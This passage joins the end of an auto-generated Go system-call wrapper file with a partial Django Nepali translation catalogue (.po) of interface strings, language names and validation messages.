uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sync() (err error) { _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Truncate(path string, length int64) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Umask(newmask int) (oldmask int) { r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0) oldmask = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Undelete(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlink(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlinkat(dirfd int, path string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unmount(path string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func write(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) { r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0) ret = uintptr(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func munmap(addr uintptr, length uintptr) (err error) { _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func readlen(fd int, buf *byte, nbuf int) (n int, err error) { r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func writelen(fd int, buf *byte, nbuf int) (n int, err error) { r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) { r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0) sec = int32(r0) usec = int32(r1) if e1 != 0 { err = errnoErr(e1) } return }
{ "pile_set_name": "Github" }
# This file is distributed under the same license as the Django package. # # Translators: # <[email protected]>, 2012. # Paras Nath Chaudhary <[email protected]>, 2012. # Sagar Chalise <[email protected]>, 2011. msgid "" msgstr "" "Project-Id-Version: Django\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2013-01-01 16:10+0100\n" "PO-Revision-Date: 2013-01-02 08:47+0000\n" "Last-Translator: Paras Nath Chaudhary <[email protected]>\n" "Language-Team: Nepali (http://www.transifex.com/projects/p/django/language/" "ne/)\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language: ne\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #: conf/global_settings.py:48 msgid "Afrikaans" msgstr "" #: conf/global_settings.py:49 msgid "Arabic" msgstr "अरबिक" #: conf/global_settings.py:50 msgid "Azerbaijani" msgstr "अजरबैजानी" #: conf/global_settings.py:51 msgid "Bulgarian" msgstr "बुल्गेरियाली" #: conf/global_settings.py:52 msgid "Belarusian" msgstr "" #: conf/global_settings.py:53 msgid "Bengali" msgstr "बंगाली" #: conf/global_settings.py:54 msgid "Breton" msgstr "" #: conf/global_settings.py:55 msgid "Bosnian" msgstr "बोस्नियाली" #: conf/global_settings.py:56 msgid "Catalan" msgstr "क्याटालान" #: conf/global_settings.py:57 msgid "Czech" msgstr "चेक" #: conf/global_settings.py:58 msgid "Welsh" msgstr "वेल्स" #: conf/global_settings.py:59 msgid "Danish" msgstr "डेनिस" #: conf/global_settings.py:60 msgid "German" msgstr "जर्मन" #: conf/global_settings.py:61 msgid "Greek" msgstr "ग्रिक" #: conf/global_settings.py:62 msgid "English" msgstr "अंग्रेजी" #: conf/global_settings.py:63 msgid "British English" msgstr "बेलायती अंग्रेजी" #: conf/global_settings.py:64 msgid "Esperanto" msgstr "" #: conf/global_settings.py:65 msgid "Spanish" msgstr "स्पेनिस" #: conf/global_settings.py:66 msgid "Argentinian Spanish" msgstr "अर्जेन्टिनाली स्पेनिस" #: conf/global_settings.py:67 msgid "Mexican Spanish" msgstr "मेक्सिकन स्पेनिस" #: conf/global_settings.py:68 msgid "Nicaraguan Spanish" msgstr "निकारागुँवा स्पेनिस" #: conf/global_settings.py:69 msgid "Venezuelan Spanish" msgstr "" #: conf/global_settings.py:70 msgid "Estonian" msgstr "इस्टोनियन" #: conf/global_settings.py:71 msgid "Basque" msgstr "बास्क" #: conf/global_settings.py:72 msgid "Persian" msgstr "फारसी" #: conf/global_settings.py:73 msgid "Finnish" msgstr "फिन्निस" #: conf/global_settings.py:74 msgid "French" msgstr "फ्रान्सेली" #: conf/global_settings.py:75 msgid "Frisian" msgstr "फ्रिसियन" #: conf/global_settings.py:76 msgid "Irish" msgstr "आयरिस" #: conf/global_settings.py:77 msgid "Galician" msgstr "ग्यलिसियन" #: conf/global_settings.py:78 msgid "Hebrew" msgstr "हिब्रु" #: conf/global_settings.py:79 msgid "Hindi" msgstr "हिन्दि " #: conf/global_settings.py:80 msgid "Croatian" msgstr "क्रोषियन" #: conf/global_settings.py:81 msgid "Hungarian" msgstr "हन्गेरियन" #: conf/global_settings.py:82 msgid "Interlingua" msgstr "" #: conf/global_settings.py:83 msgid "Indonesian" msgstr "इन्डोनेसियाली" #: conf/global_settings.py:84 msgid "Icelandic" msgstr "आइसल्यान्डिक" #: conf/global_settings.py:85 msgid "Italian" msgstr "ईटालियन" #: conf/global_settings.py:86 msgid "Japanese" msgstr "जापनिज" #: conf/global_settings.py:87 msgid "Georgian" msgstr "जर्जीयन" #: conf/global_settings.py:88 msgid "Kazakh" msgstr "कजाक" #: conf/global_settings.py:89 msgid "Khmer" msgstr "ख्मेर" #: conf/global_settings.py:90 msgid "Kannada" msgstr "कन्नडा" #: conf/global_settings.py:91 msgid "Korean" msgstr "कोरियाली" #: conf/global_settings.py:92 msgid "Luxembourgish" msgstr "" #: conf/global_settings.py:93 msgid "Lithuanian" msgstr "लिथुवानियाली" #: conf/global_settings.py:94 msgid "Latvian" msgstr "लाट्भियन" #: conf/global_settings.py:95 msgid "Macedonian" msgstr "म्यासेडोनियन" #: conf/global_settings.py:96 msgid "Malayalam" msgstr "मलायलम" #: conf/global_settings.py:97 msgid "Mongolian" msgstr "मंगोलियन" #: conf/global_settings.py:98 msgid "Norwegian Bokmal" msgstr "नर्वेली बोक्मल" #: conf/global_settings.py:99 msgid "Nepali" msgstr "नेपाली" #: conf/global_settings.py:100 msgid "Dutch" msgstr "डच" #: conf/global_settings.py:101 msgid "Norwegian Nynorsk" msgstr "नर्वेली न्योर्स्क" #: conf/global_settings.py:102 msgid "Punjabi" msgstr "पञ्जावी" #: conf/global_settings.py:103 msgid "Polish" msgstr "पोलिस" #: conf/global_settings.py:104 msgid "Portuguese" msgstr "पुर्तगाली" #: conf/global_settings.py:105 msgid "Brazilian Portuguese" msgstr "ब्राजिली पुर्तगाली" #: conf/global_settings.py:106 msgid "Romanian" msgstr "रोमानियाली" #: conf/global_settings.py:107 msgid "Russian" msgstr "रुसी" #: conf/global_settings.py:108 msgid "Slovak" msgstr "सलोभाक" #: conf/global_settings.py:109 msgid "Slovenian" msgstr "स्लोभेनियाली" #: conf/global_settings.py:110 msgid "Albanian" msgstr "अल्बानियाली" #: conf/global_settings.py:111 msgid "Serbian" msgstr "सर्वियाली" #: conf/global_settings.py:112 msgid "Serbian Latin" msgstr "सर्वियाली ल्याटिन" #: conf/global_settings.py:113 msgid "Swedish" msgstr "स्विडिस" #: conf/global_settings.py:114 msgid "Swahili" msgstr "" #: conf/global_settings.py:115 msgid "Tamil" msgstr "तामिल" #: conf/global_settings.py:116 msgid "Telugu" msgstr "तेलुगु" #: conf/global_settings.py:117 msgid "Thai" msgstr "थाई" #: conf/global_settings.py:118 msgid "Turkish" msgstr "टर्किस" #: conf/global_settings.py:119 msgid "Tatar" msgstr "" #: conf/global_settings.py:120 msgid "Udmurt" msgstr "" #: conf/global_settings.py:121 msgid "Ukrainian" msgstr "युक्रेनि" #: conf/global_settings.py:122 msgid "Urdu" msgstr "उर्दु" #: conf/global_settings.py:123 msgid "Vietnamese" msgstr "भियतनामी" #: conf/global_settings.py:124 msgid "Simplified Chinese" msgstr "सरल चिनि" #: conf/global_settings.py:125 msgid "Traditional Chinese" msgstr "प्राचिन चिनि" #: core/validators.py:21 forms/fields.py:52 msgid "Enter a valid value." msgstr "उपयुक्त मान राख्नुहोस ।" #: core/validators.py:104 forms/fields.py:464 msgid "Enter a valid email address." msgstr "" #: core/validators.py:107 forms/fields.py:1013 msgid "" "Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens." msgstr "अक्षर, अंक, _ र - भएका 'स्लग' मात्र हाल्नुहोस ।" #: core/validators.py:110 core/validators.py:129 forms/fields.py:987 msgid "Enter a valid IPv4 address." msgstr "उपयुक्त IPv4 ठेगाना राख्नुहोस" #: core/validators.py:115 core/validators.py:130 msgid "Enter a valid IPv6 address." msgstr "उपयुक्त आइ.पी.६ ठेगाना राख्नुहोस ।" #: core/validators.py:125 core/validators.py:128 msgid "Enter a valid IPv4 or IPv6 address." msgstr "उपयुक्त आइ.पी.६ र आइ.पी.४ ठेगाना राख्नुहोस ।" #: core/validators.py:151 db/models/fields/__init__.py:655 msgid "Enter only digits separated by commas." msgstr "कम्मा सहितका वर्ण मात्र राख्नुहोस ।" #: core/validators.py:157 #, python-format msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." msgstr "यो मान %(limit_value)s छ भन्ने निश्चित गर्नुहोस । (यो %(show_value)s हो ।)" #: core/validators.py:176 forms/fields.py:210 forms/fields.py:263 #, python-format msgid "Ensure this value is less than or equal to %(limit_value)s." msgstr "यो मान %(limit_value)s भन्दा कम अथवा बराबर छ भन्ने निश्चित गर्नुहोस ।" #: core/validators.py:182 forms/fields.py:211 forms/fields.py:264 #, python-format msgid "Ensure this value is greater than or equal to %(limit_value)s." msgstr "यो मान %(limit_value)s भन्दा बढी अथवा बराबर छ भन्ने निशचित गर्नुहोस ।" #: core/validators.py:189 #, python-format msgid "" "Ensure this value has at least %(limit_value)d characters (it has " "%(show_value)d)." msgstr "" "यो मान कम्तिमा पनि %(limit_value)d अक्षर छ भन्ने निश्चित गर्नुहोस । (यसमा " "%(show_value)d छ ।)" #: core/validators.py:196 #, python-format msgid "" "Ensure this value has at most %(limit_value)d characters (it has " "%(show_value)d)." msgstr "" "यो मान बढिमा पनि %(limit_value)d अक्षर छ भन्ने निश्चित गर्नुहोस । (यसमा " "%(show_value)d छ ।)" #: db/models/base.py:857 #, python-format msgid "%(field_name)s must be unique for %(date_field)s %(lookup)s." msgstr "%(date_field)s %(lookup)s को %(field_name)s नौलो हुनुपर्दछ ।" #: db/models/base.py:880 forms/models.py:573 msgid "and" msgstr "र" #: db/models/base.py:881 db/models/fields/__init__.py:70 #, python-format msgid "%(model_name)s with this %(field_label)s already exists." msgstr "%(field_label)s भएको %(model_name)s पहिलै विद्धमान छ ।" #: db/models/fields/__init__.py:67 #, python-format msgid "Value %r is not a valid choice." msgstr "%r उपयुक्त रोजाई होइन ।" #: db/models/fields/__init__.py:68 msgid "This field cannot be null." msgstr "यो फाँट शून्य हुन सक्दैन ।" #: db/models/fields/__init__.py:69 msgid "This field cannot be blank." msgstr "यो फाँट खाली हुन सक्दैन ।" #: db/models/fields/__init__.py:76 #, python-format msgid "Field of type: %(field_type)s" msgstr "फाँटको प्रकार: %(field_type)s" #: db/models/fields/__init__.py:517 db/models/fields/__init__.py:985 msgid "Integer" msgstr "अंक" #: db/models/fields/__init__.py:521 db/models/fields/__init__.py:983 #, python-format msgid "'%s' value must be an integer." msgstr "'%s' को मान अंकमा हुनुपर्दछ ।" #: db/models/fields/__init__.py:569 #, python-format msgid "'%s' value must be either True or False." msgstr "'%s' को मान True वा False हुनुपर्छ।" #: db/models/fields/__init__.py:571 msgid "Boolean (Either True or False)" msgstr "बुलियन (True अथवा False)" #: db/models/fields/__init__.py:622 #, python-format msgid "String (up to %(max_length)s)" msgstr "वर्ण (%(max_length)s सम्म)" #: db/models/fields/__init__.py:650 msgid "Comma-separated integers" msgstr "कम्माले छुट्याइएका अंकहरु ।" #: db/models/fields/__init__.py:664 #, python-format msgid "'%s' value has an invalid date format. It must be in YYYY-MM-DD format." msgstr "'%s' मिित को मान अमान्य स्वरूपमा छ। यो YYYY-MM-DDको स्वरूपमा हुनुपर्छ।" #: db/models/fields/__init__.py:666 db/models/fields/__init__.py:754 #, python-format msgid "" "'%s' value has the correct format (YYYY-MM-DD) but it is an invalid date." msgstr "" #: db/models/fields/__init__.py:669 msgid "Date (without time)" msgstr "मिति (समय रहित)" #: db/models/fields/__init__.py:752 #, python-format msgid "" "'%s' value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." "uuuuuu]][TZ] format." msgstr "" #: db/models/fields/__init__.py:756 #, python-format msgid "" "'%s' value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) but " "it is an invalid date/time." msgstr "" #: db/models/fields/__init__.py:760 msgid "Date (with time)" msgstr "मिति (समय सहित)" #: db/models/fields/__init__.py:849 #, python-format msgid "'%s' value must be a decimal number." msgstr "'%s' को मान दशमलव संख्यामा हुनुपर्छ।" #: db/models/fields/__init__.py:851 msgid "Decimal number" msgstr "दश्मलव संख्या" #: db/models/fields/__init__.py:908 msgid "Email address" msgstr "ई-मेल ठेगाना" #: db/models/fields/__init__.py:927 msgid "File path" msgstr "फाइलको मार्ग" #: db/models/fields/__init__.py:954 #, python-format msgid "'%s' value must be a float." msgstr "" #: db/models/fields/__init__.py:956 msgid "Floating point number" msgstr "दश्मलव हुने संख्या" #: db/models/fields/__init__.py:1017 msgid "Big (8 byte) integer" msgstr "ठूलो (८ बाइटको) अंक" #: db/models/fields/__init__.py:1031 msgid "IPv4 address" msgstr "आइ.पी.भी४ ठेगाना" #: db/models/fields/__init__.py:1047 msgid "IP address" msgstr "IP ठेगाना" #: db/models/fields/__init__.py:1090 #, python-format msgid "'%s' value must be either None, True or False." msgstr "'%s' को मान None, True वा False हुनुपर्छ।" #: db/models/fields/__init__.py:1092 msgid "Boolean (Either True, False or None)" msgstr "बुलियन (True, False अथवा None)" #: db/models/fields/__init__.py:1141 msgid "Positive integer" msgstr "सकारात्मक पूर्णांक" #: db/models/fields/__init__.py:1152 msgid "Positive small integer" msgstr "" #: db/models/fields/__init__.py:1163 #, python-format msgid "Slug (up to %(max_length)s)" msgstr "स्लग(%(max_length)s सम्म)" #: db/models/fields/__init__.py:1181 msgid "Small integer" msgstr "" #: db/models/fields/__init__.py:1187 msgid "Text" msgstr "पाठ" #: db/models/fields/__init__.py:1205 #, python-format msgid "" "'%s' value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] format." msgstr "" #: db/models/fields/__init__.py:1207 #, python-format msgid "" "'%s' value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an invalid " "time." msgstr "" #: db/models/fields/__init__.py:1210 msgid "Time" msgstr "समय" #: db/models/fields/__init__.py:1272 msgid "URL" msgstr "URL" #: db/models/fields/files.py:216 msgid "File" msgstr "फाइल" #: db/models/fields/files.py:323 msgid "Image" msgstr "चित्र" #: db/models/fields/related.py:979 #, python-format msgid "Model %(model)s with pk %(pk)r does not exist." msgstr "प्राइमरी की %(pk)r भएको मोडल %(model)s छैन ।" #: db/models/fields/related.py:981 msgid "Foreign Key (type determined by related field)" msgstr "फोरेन कि (प्रकार नातागत फाँटले जनाउछ)" #: db/models/fields/related.py:1111 msgid "One-to-one relationship" msgstr "एक-देखि-एक नाता" #: db/models/fields/related.py:1178 msgid "Many-to-many relationship" msgstr "अनेक-देखि-अनेक नाता" #: db/models/fields/related.py:1203 msgid "" "Hold down \"Control\", or \"Command\" on a Mac, to select more than one." msgstr "एक भन्दा बढी छान्न म्याकमा \"Control\" अथवा \"Command\" थिच्नुहोस ।" #: forms/fields.py:51 msgid "This field is required." msgstr "यो फाँट अनिवार्य छ ।" #: forms/fields.py:209 msgid "Enter a whole number." msgstr "संख्या राख्नुहोस ।" #: forms/fields.py:241 forms/fields.py:262 msgid "Enter a number." msgstr "संख्या राख्नुहोस ।" #: forms/fields.py:265 #, python-format msgid "Ensure that there are no more than %s digits in total." msgstr "समग्रमा %s भन्दा बढी अक्षर नभएको निश्चित पार्नुहोस ।" #: forms/fields.py:266 #, python-format msgid "Ensure that there are no more than %s decimal places." msgstr "%s भन्दा बढी दश्मलव नभएको निश्चित पार्नुहोस ।" #: forms/fields.py:267 #, python-format msgid "Ensure that there are no more than %s digits before the decimal point." msgstr "दश्मलव अघि %s भन्दा बढी अक्षर नभएको निश्चित पार्नुहोस ।" #: forms/fields.py:355 forms/fields.py:953 msgid "Enter a valid date." msgstr "उपयुक्त मिति राख्नुहोस ।" #: forms/fields.py:378 forms/fields.py:954 msgid "Enter a valid time." msgstr "उपयुक्त समय राख्नुहोस ।" #: forms/fields.py:399 msgid "Enter a valid date/time." msgstr "उपयुक्त मिति/समय राख्नुहोस ।" #: forms/fields.py:475 msgid "No file was submitted. Check the encoding type on the form." msgstr "कुनै फाईल पेश गरिएको छैन । फारममा ईनकोडिङको प्रकार जाँच गर्नुहोस । " #: forms/fields.py:476 msgid "No file was submitted." msgstr "कुनै फाईल पेश गरिएको छैन ।" #: forms/fields.py:477 msgid "The submitted file is empty." msgstr "पेश गरिएको फाइल खाली छ ।" #: forms/fields.py:478 #, python-format msgid "" "Ensure this filename has at most %(max)d characters (it has %(length)d)." msgstr "" "यो फाइलको नाममा बढीमा %(max)d अंक भएको निश्चित गर्नुहोस । (यसमा %(length)d छ ।)" #: forms/fields.py:479 msgid "Please either submit a file or check the clear checkbox, not both." msgstr "दुवै नछान्नुहोस, कि त फाइल पेश गर्नुहोस वा चेक बाकस मा छान्नुहोस ।" #: forms/fields.py:534 msgid "" "Upload a valid image. The file you uploaded was either not an image or a " "corrupted image." msgstr "" "उपयुक्त चित्र अपलोड गर्नुहोस । तपाइले अपलोड गर्नु भएको फाइल चित्र होइन वा बिग्रेको चित्र " "हो ।" #: forms/fields.py:580 msgid "Enter a valid URL." msgstr "उपयुक्त URL राख्नुहोस ।" #: forms/fields.py:666 forms/fields.py:746 #, python-format msgid "Select a valid choice. %(value)s is not one of the available choices." msgstr "उपयुक्त विकल्प छान्नुहोस । %(value)s प्रस्तावित विकल्प होइन ।" #: forms/fields.py:747 forms/fields.py:835 forms/models.py:1002 msgid "Enter a list of values." msgstr "मानहरु राख्नुहोस" #: forms/formsets.py:324 forms/formsets.py:326 msgid "Order" msgstr "क्रम" #: forms/formsets.py:328 msgid "Delete" msgstr "मेट्नुहोस" #: forms/models.py:567 #, python-format msgid "Please correct the duplicate data for %(field)s." msgstr "कृपया %(field)s का लागि दोहोरिइका तथ्याङ्कहरु सच्याउनुहोस ।" #: forms/models.py:571 #, python-format msgid "Please correct the duplicate data for %(field)s, which must be unique." msgstr "कृपया %(field)s का लागि दोहोरिइका तथ्याङ्कहरु नौलो तथ्याङ्क सहित सच्याउनुहोस ।" #: forms/models.py:577 #, python-format msgid "" "Please correct the duplicate data for %(field_name)s which must be unique " "for the %(lookup)s in %(date_field)s." msgstr "" "कृपया %(field_name)s का लागि दोहोरिइका तथ्याङ्कहरु सच्याउनुहोस जसमा " "%(date_field)sको %(lookup)s नौलो हुनुपर्दछ ।" #: forms/models.py:585 msgid "Please correct the duplicate values below." msgstr "कृपया तलका दोहोरिइका मानहरु सच्याउनुहोस ।" #: forms/models.py:852 msgid "The inline foreign key did not match the parent instance primary key." msgstr "भित्रि फोरेन की र अभिभावक प्राइमरी की मिलेन ।" #: forms/models.py:913 msgid "Select a valid choice. That choice is not one of the available choices." msgstr "उपयुक्त विकल्प छान्नुहोस । छानिएको विकल्प प्रस्तावित विकल्प होइन ।" #: forms/models.py:1003 #, python-format msgid "Select a valid choice. %s is not one of the available choices." msgstr "उपयुक्त विकल्प छान्नुहोस । %s प्रस्तावित विकल्प होइन ।" #: forms/models.py:1005 #, python-format msgid "\"%s\" is not a valid value for a primary key." msgstr "\"%s\" प्राइमरी की को लागि उपयुक्त मान होइन ।" #: forms/util.py:81 #, python-format msgid "" "%(datetime)s couldn't be interpreted in time zone %(current_timezone)s; it " "may be ambiguous or it may not exist." msgstr "" #: forms/widgets.py:336 msgid "Currently" msgstr "अहिले" #: forms/widgets.py:337 msgid "Change" msgstr "फेर्नुहोस" #: forms/widgets.py:338 msgid "Clear" msgstr "सबै खाली गर्नु होस ।" #: forms/widgets.py:594 msgid "Unknown" msgstr "अज्ञात" #: forms/widgets.py:595 msgid "Yes" msgstr "हुन्छ" #: forms/widgets.py:596 msgid "No" msgstr "होइन" #: template/defaultfilters.py:794 msgid "yes,no,maybe" msgstr "हो, होइन, सायद" #: template/defaultfilters.py:822 template/defaultfilters.py:833 #, python-format msgid "%(size)d byte" msgid_plural "%(size)d bytes" msgstr[0] "%(size)d बाइट" msgstr[1] "%(size)d बाइटहरु" #: template/defaultfilters.py:835 #, python-format msgid "%s KB" msgstr "%s किलोबाइट" #: template/defaultfilters.py:837 #, python-format msgid "%s MB" msgstr "%s मेगाबाइट" #: template/defaultfilters.py:839 #, python-format msgid "%s GB" msgstr "%s गिगाबाइट" #: template/defaultfilters.py:841 #, python-format msgid "%s TB" msgstr "%s टेराबाइट" #: template/defaultfilters.py:842 #, python-format msgid "%s PB" msgstr "%s पिटाबाइट" #: utils/dateformat.py:47 msgid "p.m." msgstr "p.m." #: utils/dateformat.py:48 msgid "a.m." msgstr "a.m." #: utils/dateformat.py:53 msgid "PM" msgstr "PM" #: utils/dateformat.py:54 msgid "AM" msgstr "AM" #: utils/dateformat.py:103 msgid "midnight" msgstr "मध्यरात" #: utils/dateformat.py:105 msgid "noon" msgstr "मध्यान्ह" #: utils/dates.py:6 msgid "Monday" msgstr "सोमवार" #: utils/dates.py:6 msgid "Tuesday" msgstr "मंगलवार" #: utils/dates.py:6 msgid "Wednesday" msgstr "बुधवार" #: utils/dates.py:6 msgid "Thursday" msgstr "बिहीवार" #: utils/dates.py:6 msgid "Friday" msgstr "शुक्रवार" #: utils/dates.py:7 msgid "Saturday" msgstr "शनिवार" #: utils/dates.py:7 msgid "Sunday" msgstr "आइतवार" #: utils/dates.py:10 msgid "Mon" msgstr "सोम" #: utils/dates.py:10 msgid "Tue" msgstr "मंगल" #: utils/dates.py:10 msgid "Wed" msgstr "बुध" #: utils/dates.py:10 msgid "Thu" msgstr "बिहि" #: utils/dates.py:10 msgid "Fri" msgstr "शुक्र" #: utils/dates.py:11 msgid "Sat" msgstr "शनि" #: utils/dates.py:11 msgid "Sun" msgstr "आइत" #: utils/dates.py:18 msgid "January" msgstr "जनवरी" #: utils/dates.py:18 msgid "February" msgstr "फेब्रुअरी" #: utils/dates.py:18 msgid "March" msgstr "मार्च" #: utils/dates.py:18 msgid "April" msgstr "अप्रिल" #: utils/dates.py:18 msgid "May" msgstr "मई" #: utils/dates.py:18 msgid "June" msgstr "जुन" #: utils/dates.py:19 msgid "July" msgstr "जुलै" #: utils/dates.py:19 msgid "August" msgstr "अगस्त" #: utils/dates.py:19 msgid "September" msgstr "सेप्टेम्बर" #: utils/dates.py:19 msgid "October" msgstr "अक्टुवर" #: utils/dates.py:19 msgid "November" msgstr "नभम्वर" #: utils/dates.py:20 msgid "December" msgstr "डिसम्वर" #: utils/dates.py:23 msgid "jan" msgstr "जनवरी" #: utils/dates.py:23 msgid "feb" msgstr "फेब्रुअरी" #: utils/dates.py:23 msgid "mar" msgstr "मार्च" #: utils/dates.py:23 msgid "apr" msgstr "अप्रिल" #: utils/dates.py:23 msgid "may" msgstr "मई" #: utils/dates.py:23 msgid "jun" msgstr "जुन" #: utils/dates.py:24 msgid "jul" msgstr "जुलै" #: utils/dates.py:24 msgid "aug" msgstr "अग्सत" #: utils/dates.py:24 msgid "sep" msgstr "सेप्तेम्बर" #: utils/dates.py:24 msgid "oct" msgstr "अक्टुवर" #: utils/dates.py:24 msgid "nov" msgstr "नभम्वर" #: utils/dates.py:24 msgid "dec" msgstr "डिसम्वर" #: utils/dates.py:31 msgctxt "abbrev. month" msgid "Jan." msgstr "जनवरी" #: utils/dates.py:32 msgctxt "abbrev. month" msgid "Feb." msgstr "फेब्रुअरी" #: utils/dates.py:33 msgctxt "abbrev. month" msgid "March" msgstr "मार्च" #: utils/dates.py:34 msgctxt "abbrev. month" msgid "April" msgstr "अप्रिल" #: utils/dates.py:35 msgctxt "abbrev. month" msgid "May" msgstr "मई" #: utils/dates.py:36 msgctxt "abbrev. month" msgid "June" msgstr "जुन" #: utils/dates.py:37 msgctxt "abbrev. month" msgid "July" msgstr "जुलै" #: utils/dates.py:38 msgctxt "abbrev. month" msgid "Aug." msgstr "अगस्त" #: utils/dates.py:39 msgctxt "abbrev. month" msgid "Sept." msgstr "सेप्तेम्बर" #: utils/dates.py:40 msgctxt "abbrev. month" msgid "Oct." msgstr "अक्टुवर" #: utils/dates.py:41 msgctxt "abbrev. month" msgid "Nov." msgstr "नभम्वर" #: utils/dates.py:42 msgctxt "abbrev. month" msgid "Dec." msgstr "डिसम्वर" #: utils/dates.py:45 msgctxt "alt. month" msgid "January" msgstr "जनवरी" #: utils/dates.py:46 msgctxt "alt. month" msgid "February" msgstr "फेब्रुअरी" #: utils/dates.py:47 msgctxt "alt. month" msgid "March" msgstr "मार्च" #: utils/dates.py:48 msgctxt "alt. month" msgid "April" msgstr "अप्रिल" #: utils/dates.py:49 msgctxt "alt. month" msgid "May" msgstr "मई" #: utils/dates.py:50 msgctxt "alt. month" msgid "June" msgstr "जुन" #: utils/dates.py:51 msgctxt "alt. month" msgid "July" msgstr "जुलै" #: utils/dates.py:52 msgctxt "alt. month" msgid "August" msgstr "अगस्त" #: utils/dates.py:53 msgctxt "alt. month" msgid "September" msgstr "सेप्टेम्बर" #: utils/dates.py:54 msgctxt "alt. month" msgid "October" msgstr "अक्टुवर" #: utils/dates.py:55 msgctxt "alt. month" msgid "November" msgstr "नभम्वर" #: utils/dates.py:56 msgctxt "alt. month" msgid "December" msgstr "डिसम्वर" #: utils/text.py:70 #, python-format msgctxt "String to return when truncating text" msgid "%(truncated_text)s..." msgstr "" #: utils/text.py:239 msgid "or" msgstr "अथवा" #. Translators: This string is used as a separator between list elements #: utils/text.py:256 msgid ", " msgstr "," #: utils/timesince.py:22 msgid "year" msgid_plural "years" msgstr[0] "साल" msgstr[1] "सालहरु" #: utils/timesince.py:23 msgid "month" msgid_plural "months" msgstr[0] "महिना" msgstr[1] "महिनाहरु" #: utils/timesince.py:24 msgid "week" msgid_plural "weeks" msgstr[0] "साता" msgstr[1] "साताहरु" #: utils/timesince.py:25 msgid "day" msgid_plural "days" msgstr[0] "दिन" msgstr[1] "दिनहरु" #: utils/timesince.py:26 msgid "hour" msgid_plural "hours" msgstr[0] "घण्टा" msgstr[1] "घण्टाहरु" #: utils/timesince.py:27 msgid "minute" msgid_plural "minutes" msgstr[0] "मिनट" msgstr[1] "मिनटहरु" #: utils/timesince.py:43 msgid "minutes" msgstr "मिनटहरु" #: utils/timesince.py:48 #, python-format msgid "%(number)d %(type)s" msgstr "%(number)d %(type)s" #: utils/timesince.py:54 #, python-format msgid ", %(number)d %(type)s" msgstr ", %(number)d %(type)s" #: views/static.py:56 msgid "Directory indexes are not allowed here." msgstr "" #: views/static.py:58 #, python-format msgid "\"%(path)s\" does not exist" msgstr "" #: views/static.py:98 